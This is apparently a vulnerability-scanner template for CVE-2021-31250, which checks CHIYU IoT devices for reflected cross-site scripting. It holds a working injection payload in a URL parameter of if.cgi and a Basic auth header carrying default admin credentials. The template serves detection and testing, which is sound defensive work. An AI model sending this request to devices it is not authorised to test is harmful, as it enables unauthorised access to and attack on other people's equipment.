id: CVE-2021-31250

info:
  name: CHIYU IoT XSS
  author: geeknik
  severity: medium
  description: Several versions and models of CHIYU IoT devices are vulnerable to multiple Cross-Site Scripting flaws.
  reference:
    - https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250
    - https://www.chiyu-tech.com/msg/message-Firmware-update-87.htm
    - https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-31250
    cwe-id: CWE-79
  tags: cve,cve2021,chiyu,xss,iot

requests:
  - method: GET
    path:
      - "{{BaseURL}}/if.cgi?redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Ealert%28{{randstr}}%29%3C%2Fscript%3E&radio_ping_block=0&max_tcp=3&B_apply=APPLY"
    headers:
      Authorization: "Basic OmFkbWlu"

    redirects: true
    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"
      - type: word
        part: body
        words:
          - "\"><script>alert({{randstr}})</script>"